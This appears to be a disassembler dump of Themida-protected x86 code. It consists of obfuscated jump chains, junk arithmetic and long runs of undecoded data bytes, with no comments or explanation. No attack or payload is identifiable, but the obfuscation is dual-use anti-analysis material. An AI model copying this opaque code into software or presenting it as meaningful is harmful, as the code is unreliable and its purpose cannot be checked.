83240C8Bh, 0C48304C4h, 192EE904h, 8B66FFFFh dd 5056240Ch, 0BF575854h, 34710C0Fh, 7E0DCF81h, 0F7812EBAh dd 3EFB7E0Bh, 2D5FF801h, 4, 2474FF50h, 48F5804h, 0A5E95C24h dd 0E9FFFF20h, 0FFFEDBC4h, 0FDE9D028h db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56507B: ; CODE XREF: Themida_:00562054j movzx eax, al pop small word ptr [edi+eax*4] jmp loc_560184 ; --------------------------------------------------------------------------- db 33h dd 0D35C243Ch, 0E99C242Ch, 0FFFEDBA4h ; --------------------------------------------------------------------------- loc_565094: ; CODE XREF: Themida_:00567199j mov edx, 0B5C3124h not edx jmp loc_557E57 ; --------------------------------------------------------------------------- dd 686FB850h, 2D407ACAh, 299BF4AAh, 0FF43CCE9h db 0FFh ; --------------------------------------------------------------------------- loc_5650B1: ; CODE XREF: Themida_:0055AC06j push ecx mov ecx, 32A32E5Eh jmp loc_561D3D ; --------------------------------------------------------------------------- dd 0AFB35358h, 0E95BDD08h, 23Fh, 405E089h, 83000000h, 0FF5004E8h dd 58042474h, 5C24048Fh, 57241C89h, 0CB7B0FBFh, 9E52E907h dd 8B5EFFFFh, 0C4812414h, 4, 8904EC83h, 4BB241Ch, 1000000h dd 241C8BDAh, 33CAE956h, 8B66FFFFh, 8957240Ch, 0A844E9E7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565116: ; CODE XREF: Themida_:0056017Fj push ecx jmp loc_5622AA ; --------------------------------------------------------------------------- loc_56511C: ; CODE XREF: Themida_:00564392j or esi, ebx pop ebx push eax jmp loc_55776A ; --------------------------------------------------------------------------- db 0BFh, 8Ch, 3Dh dd 1DE91ED3h, 81FFFF31h, 7F423FF1h, 81414969h, 0D7C0EEC1h dd 0DFEB8119h, 295DEF12h, 0DFC381CBh, 595DEF12h, 3C3BEB81h dd 0D30170E7h, 3C3BC381h, 0D2E970E7h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56515F: ; CODE XREF: Themida_:005542F2j shl eax, 8 xor eax, 9BDC4F27h xor esi, eax mov eax, [esp] add esp, 4 or esi, 751062C5h xchg edi, esi xchg ecx, edi not ecx xchg ecx, edi xchg edi, esi sub esp, 4 mov [esp], eax mov eax, 8AC1BD22h xor esi, eax mov eax, [esp] add esp, 4 and eax, esi mov esi, [esp] add esp, 4 jmp loc_562737 ; --------------------------------------------------------------------------- loc_5651A5: ; CODE XREF: Themida_:00558803j pop edi pop dword ptr [esp] mov esp, [esp] mov [esp], edx mov edx, 51964EDEh sub ebp, edx pop edx sub ebp, 6A6C4DF9h add ebp, ecx push eax mov eax, 6A6C4DF9h add ebp, eax pop eax push eax mov eax, 3C207E67h shl eax, 7 jmp loc_564152 ; --------------------------------------------------------------------------- dw 3431h dd 24343324h, 2404095Ch, 0DA52E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5651E6: ; CODE XREF: Themida_:00560A65j push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] jmp loc_56416A ; --------------------------------------------------------------------------- dd 2434895Ch, 0AC05D4BEh, 8BF10928h, 0C4812434h, 4, 4103E1C1h dd 0FF811AE9h db 0FFh ; --------------------------------------------------------------------------- loc_565215: ; CODE XREF: Themida_:00555550j pop esp add ebp, 7AF07AC3h add ebp, edi push ebx mov ebx, 2F2737B0h jmp loc_5556AE ; --------------------------------------------------------------------------- aSS_4 db '!é]Áé',0 db 0E9h dd 0FFFF374Ch, 3BBA52ADh, 2D3BE277h, 3DBE0AA3h, 0F750C92Dh dd 5D0294Ch, 4CF750C9h, 0BE0AA305h, 0D9055A3Dh, 297B9676h dd 0EE1E9D8h, 0B8500000h, 7AA3330h, 89C68956h, 9CE95EF5h dd 5EFFFF59h, 0E5685350h, 5B5D9D1Eh, 0FFEB8143h, 81FFFFFFh dd 9D1EE3EBh, 0DC63E95Dh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56528A: ; CODE XREF: Themida_:00564ACFj mov edx, 4 jmp loc_55C4D7 ; --------------------------------------------------------------------------- dd 1CBA5245h, 316D5D27h, 0C5815AD5h, 0F181BF4Bh, 7744F581h dd 0DDF73675h, 0FFC5E0E9h, 494268FFh, 6EE90000h, 5CFFFFF5h dd 0B8240489h, 4, 54A7EF81h, 0C7814DE0h, 352503F5h, 0EF81C701h dd 352503F5h, 54A7B951h, 0C5E94DE0h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5652E3: ; CODE XREF: Themida_:00565C8Bj pop eax add esi, ebx mov ebx, [esp] jmp loc_5612E2 ; --------------------------------------------------------------------------- loc_5652EE: ; CODE XREF: Themida_:0055B024j add ebp, ebx mov ebx, [esp] push edi jmp loc_556567 ; --------------------------------------------------------------------------- loc_5652F9: ; CODE XREF: Themida_:00553E1Dj sub esi, 4BC80029h add esi, edi push ebx jmp loc_554763 ; --------------------------------------------------------------------------- db 0C0h dd 0DDF603E5h, 0E950F580h, 0FFFEFA9Eh, 0FF241C89h, 0FF042474h dd 1C8B2434h, 4EC8324h, 54240C89h, 0EA55E959h, 431FFFFh dd 24043324h, 0FF4955E9h, 8BD800FFh, 1AE9241Ch, 89FFFF92h dd 65E92414h, 87FFFEEBh, 0FA74E9F2h, 0B652FFFFh, 5AF5887Ah dd 9DE9DDF6h db 7Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56535F: ; CODE XREF: Themida_:00556537j shr ecx, 7 push 7A8Dh mov [esp], edi push ebx mov ebx, esp push edx mov edx, 7CE40BB0h dec edx shr edx, 5 jmp loc_55C394 ; --------------------------------------------------------------------------- dd 0E99C5066h, 0FFFED8B4h, 0D5E9D729h, 8BFFFF1Fh, 0C4832434h dd 0B49CE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565396: ; CODE XREF: Themida_:0055AF9Cj pop ecx pop edi not edi xor ecx, edi xor edi, ecx jmp loc_558C18 ; --------------------------------------------------------------------------- loc_5653A3: ; CODE XREF: Themida_:00561682j sub esp, 4 mov [esp], ecx mov ecx, 79165C9Fh xor ecx, 0E9B754Dh not ecx inc ecx neg ecx jmp loc_55E60A ; --------------------------------------------------------------------------- loc_5653BE: ; CODE XREF: Themida_:0056695Cj push edi mov edi, 0F26DAA0h sub edx, edi jmp loc_55ABDB ; --------------------------------------------------------------------------- db 54h dd 8324348Bh, 0BF5704C4h, 66E57021h, 116DEF81h, 0DBE96E95h db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5653E3: ; CODE XREF: Themida_:0055EDDBj push small 7DFFh mov [esp], ax jmp loc_557322 ; --------------------------------------------------------------------------- dd 0DE49E950h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5653F6: ; CODE XREF: Themida_:0055D5F7j add esp, 4 add eax, 6974376h sub eax, 0FFFFFFFFh dec eax push 471Ah mov [esp], ebx mov ebx, 35882631h add eax, ebx pop ebx or ebx, eax mov eax, [esp] jmp loc_561C76 ; --------------------------------------------------------------------------- db 5Ah, 66h, 51h dd 5EE9C2B5h, 81FFFFA0h, 2ADA08C7h, 5FFA891Ah, 34FFD331h dd 0C4815A24h, 4, 1C8BDD29h, 4C48124h, 33000000h, 85E9242Ch db 2Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565453: ; CODE XREF: Themida_:00558ACFj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx push 63C4h mov [esp], ecx push 7F09h jmp loc_55CAA4 ; --------------------------------------------------------------------------- loc_565477: ; CODE XREF: Themida_:00558352j push 5D34h mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edi mov edi, 4 add esi, edi jmp loc_5649F6 ; --------------------------------------------------------------------------- loc_5654A9: ; CODE XREF: Themida_:0056021Bj push 264Eh mov [esp], ebp jmp loc_55355A ; --------------------------------------------------------------------------- dw 159h dd 1C8B5AD5h, 4C48124h, 55000000h, 42474FFh, 81242C8Bh dd 4C4h, 24048F00h, 6624248Bh, 66241489h, 0D9E99C50h, 0B3FFFF17h dd 66DA007Ch, 56241C8Bh, 0C6815E54h, 4, 8702C683h, 885C2434h dd 0EB305AD5h, 4A2C5966h, 4A04D828h, 9E77E95Bh, 3268FFFFh dd 89000050h, 0A6BF243Ch, 8128892Fh, 850C8CCFh, 4E7C136h dd 0E907EFC1h, 0FFFFFEFFh, 0E426866h, 24048966h, 2474FF66h dd 48B6602h, 1699E924h, 0E9500000h, 0FFFEE13Ah ; --------------------------------------------------------------------------- loc_565548: ; CODE XREF: Themida_:00561694j push edx mov edx, 38697D4Bh dec edx jmp loc_556938 ; --------------------------------------------------------------------------- loc_565554: ; CODE XREF: Themida_:005580FAj mov edx, [esp] jmp loc_556E2B ; --------------------------------------------------------------------------- dd 0E9243C33h, 0FFFF516Ch, 4804C483h, 2E0C140h, 1CF8E9h dd 0A30F6600h, 0E99C2404h, 0FFFED6BCh ; --------------------------------------------------------------------------- loc_56557C: ; CODE XREF: Themida_:0055813Cj not dword ptr [esp] pop ebx push ebp push eax mov eax, 4B0FF241h mov ebp, eax pop eax add ebx, 117A1581h add ebx, ebp sub ebx, 117A1581h mov ebp, [esp] add esp, 4 add eax, ebx jmp loc_55C3B8 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 0FFA404E9h, 86F781FFh, 1A84846h, 0C8015FF8h, 0B13B142Dh dd 240C8B06h, 0E9E78957h, 0FFFF2BF0h, 0E904C483h, 0FFFF8B08h dd 0F66F1F6h, 0A768CCB6h, 89000036h, 89572434h, 6CBD55E7h dd 814D4B77h, 0B48898C5h, 5DEF01B2h, 4EF81h, 3C870000h dd 4055E924h, 489FFFFh, 2434FF24h, 7813685Bh, 3C890000h dd 81E78924h, 4C7h, 0B9D5E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56561A: ; CODE XREF: Themida_:005633AAj push edi not dword ptr [esp] jmp loc_5559D0 ; --------------------------------------------------------------------------- loc_565623: ; CODE XREF: Themida_:005573DCj push eax jmp loc_5613CF ; --------------------------------------------------------------------------- db 83h, 0C1h, 4 dd 5C240C87h, 0E980h, 0C180D9h db 66h, 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_5580FF ; --------------------------------------------------------------------------- db 0C1h, 0EAh, 5 dd 69B2F281h, 0D709489Fh, 8324148Bh, 0BD5504C4h, 51E80F5Ah dd 8105EDC1h, 4ECh, 241C8900h, 592131BBh, 0E9DD3158h, 0FFFEE754h dd 8108E9C1h, 932493C9h, 8E9C139h, 4EAAF181h, 0C1816631h dd 17622F2Ah, 0FFF81EE9h db 0FFh ; --------------------------------------------------------------------------- loc_56569D: ; CODE XREF: Themida_:0055F782j add ebx, 0B85AEED2h add ecx, ebx pop ebx sub esp, 4 mov [esp], edx mov edx, 4 add ecx, 1EE83CFFh jmp loc_563E2A ; --------------------------------------------------------------------------- loc_5656BC: ; CODE XREF: Themida_:005637A3j mov ebx, 9E8444Fh xor ebx, ebp jmp loc_56630B ; --------------------------------------------------------------------------- dd 5F95C281h, 0DA015B40h, 5F95EA81h, 8B5B5B40h, 0C4832404h dd 24148704h, 7029685Ch, 34890000h, 74FFBE24h, 0F6811B48h dd 3D6952ACh, 6BAF68h, 240C8900h, 0FF8E31E9h, 4BDFFh, 98E90000h dd 5BFFFFD8h, 539E9h, 5C92B800h, 1E95C35h, 0BDFFFFC4h dd 4B9A17B8h, 8102E5C1h, 685EE2F5h, 0D17E92Eh, 34FFFFFFh dd 2434FF24h, 83243C8Bh, 895704C4h, 4C781E7h, 81000000h dd 4C7h, 243C8700h, 2538E9h, 7639B900h, 21E97A7Ah db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56575B: ; CODE XREF: Themida_:00564B5Ej add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] xor ecx, [esp] xor [esp], ecx jmp loc_5679F1 ; --------------------------------------------------------------------------- dd 8704EB83h, 37E9241Ch, 81FFFF8Eh, 91906C6h, 5EF70112h dd 4EF81h, 0BDE90000h, 89FFFFF5h, 242C8BE8h, 0FF777DE9h dd 5CBE56FFh, 57532758h, 8E4C77BFh, 0AFE78112h, 81507210h dd 6C61D4CFh, 2EFC16Ch, 0EF81DFF7h, 7D3C18FCh, 0E32EF81h dd 0FE094808h, 0FEEE815Fh, 1136FEEh, 0D9E95EF2h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5657DB: ; CODE XREF: Themida_:00555068j mov ebx, 286517B1h not ebx or ebx, 651E15CAh and ebx, 443F70EEh jmp loc_5648D9 ; --------------------------------------------------------------------------- loc_5657F3: ; CODE XREF: Themida_:0055E93Aj xchg ebx, [esp] jmp loc_55A9E4 ; --------------------------------------------------------------------------- db 0B9h dd 1E7954DCh, 0BD55h, 0CD290000h, 0FFD436E9h db 0FFh ; --------------------------------------------------------------------------- loc_56580D: ; CODE XREF: Themida_:00560174j push ecx jmp loc_556CFA ; --------------------------------------------------------------------------- loc_565813: ; CODE XREF: Themida_:0055A43Cj push 2FDA4E99h pop esi add esi, 0F4B4FCCh shl esi, 1 inc esi jmp loc_55D38C ; --------------------------------------------------------------------------- db 89h dd 4BD242Ch, 1000000h, 93685DEBh, 0E9000002h, 0FFFF7C9Dh ; --------------------------------------------------------------------------- loc_56583C: ; CODE XREF: Themida_:00561634j mov [esp], ecx push 20h pop ecx push eax mov eax, ecx push 2338h mov [esp], eax mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_554042 ; --------------------------------------------------------------------------- dw 0AA2Dh dd 0E9EA4FD8h, 0FFFEF916h, 4C481h, 0C5810000h, 4, 4EC81h dd 2C890000h, 2474FF24h, 242C8B04h, 51E28952h, 0FFC818E9h dd 2434FFFFh, 5E2434FFh, 0E95B5453h, 1018h, 0F154C781h dd 0B3E9EFFFh, 83FFFF22h, 148904ECh, 8CB95124h, 414F5E2Ah dd 0BCE9E1D1h, 5FFFF73h, 4, 42Dh, 24048700h, 7FE9h, 58685300h dd 5B551632h, 3A9BEB81h, 0D8015DF7h, 0E92434FFh, 0FFFF2434h dd 0E9243487h, 196Bh, 3F0DB850h, 0E8C11132h, 29F5E907h dd 0FD01FFFFh, 0FF160FE9h, 4E883FFh, 5C240487h, 0FF243C89h dd 8B042474h, 0C483243Ch, 24048F04h, 8924248Bh, 65E9240Ch db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56592F: ; CODE XREF: Themida_:0055C219j add edx, ecx pop ecx jmp loc_552C38 ; --------------------------------------------------------------------------- db 83h dd 72E9FFEDh db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56593F: ; CODE XREF: Themida_:00562172j not ebp or ebp, 6CE40F94h sub ebp, 6D422154h jmp loc_552C4E ; --------------------------------------------------------------------------- loc_565952: ; CODE XREF: Themida_:0055938Bj push eax jmp loc_55CA78 ; --------------------------------------------------------------------------- dd 0EBC1E95Ch, 0EC83FFFEh, 243C8904h, 8DE9E789h, 66000018h dd 0E924248Bh, 0FFFED2C4h, 4C481h, 5FE90000h, 28FFFF46h dd 64E952D0h, 68FFFF08h, 0A80h, 0B8240489h, 4, 2365C181h dd 0C10167A9h, 2365E981h, 335867A9h, 38E9240Ch db 20h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5659AB: ; CODE XREF: Themida_:00566925j push esi mov esi, 4 jmp loc_556A05 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0F7241489h, 0E5E92414h db 3, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5659C7: ; CODE XREF: Themida_:00556933j neg ebx shl ebx, 6 add ebx, 79685A8Fh jmp loc_5617B6 ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 0BFE95824h db 0F4h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5659E3: ; CODE XREF: Themida_:005534BDj pop eax push edx mov edx, 9F26A75h not edx neg edx push eax jmp loc_557062 ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFF838Eh, 8B2434FFh, 0A5E9242Ch, 81FFFFADh dd 4ECh, 24148900h, 0BBB68h, 24248900h, 4BE56h, 74010000h dd 0C3E90424h, 0FFFFFFF6h, 45E92434h, 68FFFFB0h, 3612h dd 0FEFFD2E9h, 89CD80FFh, 0CDFECDFEh, 6602EC83h, 0E9240C89h dd 0BC5h ; --------------------------------------------------------------------------- loc_565A4C: ; CODE XREF: Themida_:0055D9D0j add esp, 4 jmp loc_55B51B ; --------------------------------------------------------------------------- db 0ACh dd 4EC8352h, 0B4240489h, 0E9E68837h, 0FFFF7391h, 76F18166h dd 83E0E96Ah, 0CCFEFFFFh, 0E901F480h, 0FFFED7CDh, 0D131C581h dd 0EB019014h, 57242C8Bh, 0C781E789h, 4, 0FFC8D5E9h db 0FFh ; --------------------------------------------------------------------------- loc_565A95: ; CODE XREF: Themida_:0055A5FCj and eax, edi push dword ptr [esp] mov edi, [esp] push ebx sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ebx add ebx, 4 push edx mov edx, 4 add ebx, edx mov edx, [esp] push ecx jmp loc_5643F6 ; --------------------------------------------------------------------------- db 29h dd 5B08245Ch, 83242C8Bh, 34FF04C4h, 0C4835F24h, 69C3E904h dd 0DEF7FFFFh, 69C9F681h, 2EE95197h, 5C00000Ch, 0FFF199E9h db 0FFh ; --------------------------------------------------------------------------- loc_565AF1: ; CODE XREF: Themida_:00561218j add dword ptr [esp], 4 mov edi, [esp] jmp loc_5574A0 ; --------------------------------------------------------------------------- db 29h, 0C3h, 81h dd 3D2CE5EBh, 637AE932h, 5157FFFFh, 5E240481h, 8B263A14h dd 0C483243Ch, 5EEF8104h, 0E9263A14h, 0FFFF557Ch, 81E18951h dd 4C1h, 657BE900h, 0C281FFFFh, 485318B2h, 0EA81C201h dd 485318B2h, 0FFB043E9h db 0FFh ; --------------------------------------------------------------------------- loc_565B45: ; CODE XREF: Themida_:00554E5Fj push 5CF7h mov [esp], edi push dword ptr [esp] jmp loc_56031B ; --------------------------------------------------------------------------- db 50h, 0E9h, 67h dd 81FFFFA2h, 4C7h, 91B95100h, 816BC716h, 45165CE1h, 0F360E974h dd 8953FFFEh, 4C381E3h, 81000000h, 4C3h, 241C8700h, 2E5C685Ch dd 3C890000h, 68E78924h, 2860h, 0B8240489h, 717C68F8h dd 894E9D05h, 0B7912D1Dh, 0C7018F05h, 8124048Bh, 4C4h dd 4C78100h, 87000000h, 0E95C243Ch, 0FFFFD7B2h, 61B25266h dd 5A66D328h, 534FB151h, 0B45030B7h, 80D4F621h, 1EE9B0ECh db 0F3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565BDB: ; CODE XREF: Themida_:00567D2Bj sub eax, 0B6DB8B92h push eax pop edi push dword ptr [esp] pop eax jmp loc_563EF1 ; --------------------------------------------------------------------------- db 51h dd 0FFC60FE9h, 92ED81FFh, 294A0C65h, 15A0E9DDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_565BFE: ; CODE XREF: Themida_:0055C013j add esp, 4 push dword ptr [esp] pop edx add esp, 4 loc_565C0B: ; CODE XREF: Themida_:0055D63Aj push 34EBh mov [esp], ebp push ebx push edx jmp loc_561EC7 ; --------------------------------------------------------------------------- loc_565C1A: ; CODE XREF: Themida_:0055E81Ej add bl, 45h sub bl, al push edi mov edi, esp add edi, 4 push ebp mov ebp, 2D6109BDh neg ebp add ebp, 85597932h not ebp inc ebp add ebp, 745C7BE5h jmp loc_5554EF ; --------------------------------------------------------------------------- dd 0FD35E959h, 0E940FFFFh, 0FFFEF614h ; --------------------------------------------------------------------------- loc_565C50: ; CODE XREF: Themida_:005626B9j mov ecx, edx pop edx add edx, ecx push dword ptr [esp] pop ecx jmp loc_55C7EB ; --------------------------------------------------------------------------- aAiAivAVaXai0 db '€ë*€ëv(ÀÃv€Ã*X€ë0',0 db 0C3h, 0E9h, 0DBh db 0E6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565C77: ; CODE XREF: Themida_:00555461j add esp, 4 push 3632h mov [esp], ebp jmp loc_558D4D ; --------------------------------------------------------------------------- loc_565C8A: ; CODE XREF: Themida_:0055DF33j pop ecx jmp loc_5652E3 ; --------------------------------------------------------------------------- loc_565C90: ; CODE XREF: Themida_:0055989Bj sub eax, 4D0BFB9Ah sub ebx, eax pop eax push small word ptr [eax] jmp loc_552C38 ; --------------------------------------------------------------------------- dd 9C240CD3h, 0FECF8FE9h, 240489FFh, 42DE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565CB2: ; CODE XREF: Themida_:0056319Fj push dword ptr [esp+4] jmp loc_5538C3 ; --------------------------------------------------------------------------- loc_565CBB: ; CODE XREF: Themida_:00553BA1j mov [esp], ecx jmp loc_552D1D ; --------------------------------------------------------------------------- loc_565CC3: ; CODE XREF: Themida_:005626A6j pop ecx jmp loc_55B39F ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 240C8B66h, 0FF2489E9h, 0C8B66FFh, 0D18EE924h, 5052FFFFh dd 8904EC83h, 0B3BB241Ch, 0F70ADE4Dh, 0BE5643D3h, 0F521B249h dd 895EF331h, 241C8BD8h, 0FED63EE9h, 0E9C221FFh, 0FFFF79CEh dd 0AE3BD55h, 0EDE90D09h db 0D5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565D13: ; CODE XREF: Themida_:0055B1B4j mov [esp], edi push 3309h mov [esp], ebx mov ebx, 39B15A6Fh jmp loc_553ACF ; --------------------------------------------------------------------------- dd 4624C581h, 0F58177D0h, 12E5366Fh, 4BD0CD81h, 0B9511A44h dd 30F30F9Eh, 4904E1C1h, 0FEEEAFE9h, 0C8B66FFh, 2E06E924h dd 0DE89FFFFh, 2E6C15Bh, 0FF5A95E9h, 59E956FFh db 48h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565D63: ; CODE XREF: Themida_:0055E612j push ebx mov ebx, ecx mov ebp, ebx mov ebx, [esp] add esp, 4 pop ecx shr ebp, 5 not ebp sub ebp, 3A8152B8h sub ebp, 1FBE2A64h xor ebp, 0A45F47B9h add eax, ebp jmp loc_5576B7 ; --------------------------------------------------------------------------- loc_565D8D: ; CODE XREF: Themida_:0055DC7Ej sub esi, 4 xchg esi, [esp] pop esp jmp loc_55CD5A ; --------------------------------------------------------------------------- db 81h, 0E9h, 0E4h dd 0E9E88E6Fh, 0FFFF37CCh, 4C481h, 0C4810000h, 4, 4B850h dd 76E90000h db 13h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565DBB: ; CODE XREF: Themida_:00560D2Cj pop ebp add ebp, 4 jmp loc_563220 ; --------------------------------------------------------------------------- db 56h dd 0C681E689h, 4, 8704C683h, 248B2434h, 24048F24h, 6624248Bh dd 6866E1F7h, 1FE928EEh, 81FFFFE4h, 4C2h, 24148700h, 2124248Bh dd 2434FFF8h, 0FF2466E9h db 0FFh ; --------------------------------------------------------------------------- loc_565E01: ; CODE XREF: Themida_:00552D6Dj or ebp, 218B05A2h jmp loc_5618BC ; --------------------------------------------------------------------------- dd 4C6835Fh, 5C243487h, 0FF2434FFh, 48B2434h, 4C48124h dd 57000000h, 0E950E789h, 0FFFFAA5Bh, 0EC2FC281h, 0E6E98AD5h dd 80FFFFC5h, 0DC0081F3h, 81241C8Bh, 4C4h, 8ECC000h, 0FF760CE9h dd 3CEC80FFh, 48BE728h, 55B66824h, 2C890000h, 81E58924h dd 4C5h, 4C58100h, 33000000h, 2C31242Ch, 242C3324h, 0C8C2805Ch dd 0EA80FA00h, 241C8BC8h, 3004C483h, 0A7685AD0h, 8900006Bh dd 8CB5240Ch, 0FFA582E9h, 22BA52FFh, 4A207173h, 505CF281h dd 0EAC11D7Fh, 97BD5508h, 512A0134h, 0FEFF71E9h, 5AD001FFh dd 0BB53E801h, 662A30D4h, 8106E3C1h, 8ED23AEBh, 5BD82923h dd 0E389535Dh, 0FF2E44E9h, 4C483FFh, 0FFD830E9h, 0EC8357FFh dd 0F485E904h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565EE2: ; CODE XREF: Themida_:0055A981j mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edi mov edi, esp push ebp push 4 pop ebp add edi, ebp pop ebp push 5A9Eh mov [esp], ecx jmp loc_55EEC9 ; --------------------------------------------------------------------------- dw 3489h dd 0F4B9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565F12: ; CODE XREF: Themida_:0055FE5Cj pop esp loc_565F13: ; CODE XREF: Themida_:0055723Ej push 2E79h mov [esp], eax mov eax, esp push edx mov edx, 26167994h jmp loc_559F97 ; --------------------------------------------------------------------------- dd 3EB8505Fh, 1574621h, 2F99E9C6h, 0E94AFFFFh, 0FFFF107Ch dd 5344E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565F42: ; CODE XREF: Themida_:00567C19j xor bl, cl pop cx push edx mov dh, 7Ch push ebx mov bl, 0CBh shr bl, 4 shr bl, 2 inc bl or bl, 0FAh sub bl, 1 add bl, 0C2h xor dh, bl pop ebx jmp loc_56356F ; --------------------------------------------------------------------------- db 0BDh, 0AEh, 7Ah dd 0ED81362Eh, 0FFFFFFFFh, 0ED81D5F7h, 0FFFFFFFFh, 4DFFC583h dd 7AB5C581h, 0EE01362Eh, 3FBB535Dh, 53650B76h, 0FF240481h dd 5BFFFFFFh, 0FF4795E9h, 0E95CFFh, 5FFFF7Eh, 6D2518Ch dd 4E0C148h, 5BE9D0F7h, 58FFFED7h, 0FF5637E9h db 0FFh ; --------------------------------------------------------------------------- loc_565FB5: ; CODE XREF: Themida_:0055E5A9j pop edx xchg ecx, [esp] mov esp, [esp] shr ecx, 6 push 2D2Dh mov [esp], edi push ebx push edx mov edx, 25F24686h sub [esp+4], edx pop edx jmp loc_55B0CE ; --------------------------------------------------------------------------- dd 5C24BF57h, 0CF811343h, 114D1350h, 8106EFC1h, 0BC1DDCC7h dd 5FF9896Fh, 9F08F181h, 0CD31A3E5h, 0FEE20EE9h, 4C481FFh dd 0E9000000h, 922h, 83241489h, 1C8904ECh, 0D516E924h dd 53ADFFFEh, 0FFE00AE9h, 81E289FFh, 4C2h, 4C28300h, 31241433h dd 14332414h, 0C4815C24h, 4, 0F66C331h, 976800B6h, 89000040h dd 76682414h, 89000052h, 4812424h, 424h, 24148B00h, 0FF9089E9h dd 240C31FFh, 5C240C33h, 0FF4241E9h, 0BE5655FFh, 4, 29E95156h dd 59FFFF38h, 348BF201h, 4C48324h, 1E61EE81h, 0D601334Dh dd 0FFEB33E9h, 246C01FFh, 43BB5304h, 0E9092704h, 0FFFFFA2Bh dd 491068h, 24348900h, 2BEh, 0E9F00100h, 0FFFF3924h ; --------------------------------------------------------------------------- loc_5660B0: ; CODE XREF: Themida_:0055D9ABj add esp, 4 sub edx, 3E2E4442h jmp loc_558474 ; --------------------------------------------------------------------------- loc_5660BE: ; CODE XREF: Themida_:0055A563j pop ebp push eax push dword ptr [esp+4] mov eax, [esp] push ecx push esp pop ecx push esi jmp loc_5542BC ; --------------------------------------------------------------------------- loc_5660D0: ; CODE XREF: Themida_:00559C82j add eax, edx push dword ptr [esp] pop edx add esp, 4 push eax push ebx mov ebx, 4A5F0DE5h xor [esp+4], ebx pop ebx jmp loc_5536A9 ; --------------------------------------------------------------------------- db 0ADh, 50h, 89h dd 405E0h, 42D0000h, 87000000h, 81E92404h, 89000017h, 3B682424h dd 8900001Eh, 4B82404h, 81000000h, 5E04246Ch, 0E90C816Bh dd 0FFFF9B47h, 83240C8Bh, 815E04C4h, 4C6h, 0E0895000h dd 405h, 42D00h, 64E90000h, 2DFFFF65h, 7B9676D9h, 29326853h dd 1C8B60B9h, 4C48324h, 6B106851h, 0E9592674h, 0FFFEDC5Bh dd 0DAF6CAFEh, 7774E953h, 8951FFFFh, 4C181E1h, 53000000h dd 4BBh, 5BD90100h, 5C240C87h, 7E7668h, 24348900h, 7F46B850h dd 0E8E9A504h, 0C1FFFFBFh, 0EA8308EAh, 68FFh, 14290000h dd 0EA815A24h, 4FB16377h, 407FBB53h, 0E38107DCh, 100F2A4Ah dd 778BEB81h, 0EB8154ADh, 6D34665Ch, 0FF52CEE9h, 53FD29FFh dd 8F44FEBBh, 11B95130h, 0F75BEB45h, 63E981D9h, 0C16A3D26h dd 814902E1h, 0BF18B8F1h, 59CD29DCh, 0E1E9DD29h, 81FFFF82h dd 7E7B67E1h, 0B9E1813Ah, 0E9625E2Eh, 0FFFF221Fh ; --------------------------------------------------------------------------- loc_5661FC: ; CODE XREF: Themida_:00557AAFj pop dword ptr [esp] pop esp jmp loc_56254E ; --------------------------------------------------------------------------- loc_566205: ; CODE XREF: Themida_:0055A208j push dword ptr [esp] mov ebp, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] jmp loc_55A5EF ; --------------------------------------------------------------------------- dd 89241C89h, 4C381E3h, 81000000h, 4C3h, 241C3300h, 33241C31h dd 505C241Ch, 50ACB866h, 0E9E8D166h, 0FFFECACEh, 7830E94Bh dd 48BFFFFh, 4C48124h, 81000000h, 0B3544AEEh, 81CE012Fh dd 0B3544AC6h, 0E2EE812Fh, 8B5F2A0Bh, 3CE9240Ch, 56FFFFA2h dd 5C518DBEh, 5EF20123h, 81240C8Bh, 4C4h, 2C28300h, 0FF4291E9h dd 46852FFh, 5A000000h, 7CEDC781h, 0D7012A34h, 7CEDEF81h dd 1DE92A34h, 